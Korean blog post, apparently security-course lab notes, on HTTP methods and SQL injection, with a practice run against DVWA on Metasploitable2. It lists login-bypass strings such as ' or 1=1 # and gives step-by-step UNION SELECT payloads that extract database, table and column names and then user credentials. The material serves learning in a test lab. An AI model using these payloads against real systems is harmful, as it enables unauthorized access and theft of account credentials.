[ HTTP Request Method ]

  • GET과 POST를 제외한 나머지 Method는 사용할 필요가 없는 경우가 대다수이고, 보안 측면에서 위험하기 때문에 2개 Method만 사용
  • 따라서 웹서버에 대한 보안 인증(ISO27001, ISMS-P)에서 GET과 POST만 허용하고 나머지는 결함으로 간주한다.

 

[ SQL 인젝션 공격 방법 ] 

 

1. 로직이 참이 되도록 구성 

  • True and False = False              
  • True  or  False = True               

2. 주석처리 :

  • 뒤에 처리되지 않고 남는 부분을 주석처리해 무력화시킴
  • Oracle, MS-SQL :  --
  • MySQL, MariaDB : #

3. 중첩문 사용

  • 앞에 SELECT문 이용 UNION SELECT로 다른 정보도 탈취
  • 앞에 로직을 ;으로 마무리 짓고 UPDATE 등 다른 구문 실행

 

[인젝션 구문]

  •  ' or 1=1 #
  •  ' or 2>1 #
  •  ' or 'a'='a' #
  •  ' or 'T'>'S' #
  •  ' or 'a'='a                                  

 

대부분은 일일이 수동으로 찾기 어렵기 때문에 자동화 함

 

 

[실습]

Metasploiable2를 켜고, Metasploitable2의 ip로 접속

DVWA에 선택해 SQL Injection 실습 - security level - low

1) DB 전체 출력

or 1=1 # 문구를 이용해 db 정보 알아내기

 

2) 로그인 계정 ID / PW 알아내기

  • 앞의 select에서 요청한 개수 알아내기 

Union 이용 - 앞 select에서 요청한 게수와 같아야 함
에러 메시지 출력
앞 select에서 요청한 개수가 2개임을 알 수 있음

  • DB 이름 알아내기 - dvwa
' union  select  database(),null  #

union 이용해 db 이름이 dvwa 임을 알아냄

  • Table 이름 알아내기
' union  select  table_name,null  from  information_schema.tables  where table_schema='dvwa' #

  • Column 이름 알아내기
' union  select  column_name,null  from  information_schema.columns  where  table_name='users' #

  • 각 사용자의 로그인 계정과 패스워드 알아내기
' union  select  user,password  from  users #

 

 

** 본 실습은 모두 가상 환경 / 테스트 환경에서 이루어졌으며, 실제 서버에서 실행하시면 안됩니다. 본 블로그는 실습에 대한 어떠한 책임도 지지 않습니다 **

'애플리케이션 보안' 카테고리의 다른 글

Brute Force  (0) 2022.05.17
Dictionary  (0) 2022.05.17
CSRF  (0) 2022.05.17
Backdoor / Trojan  (0) 2022.05.11
난독화  (0) 2022.05.10

+ Recent posts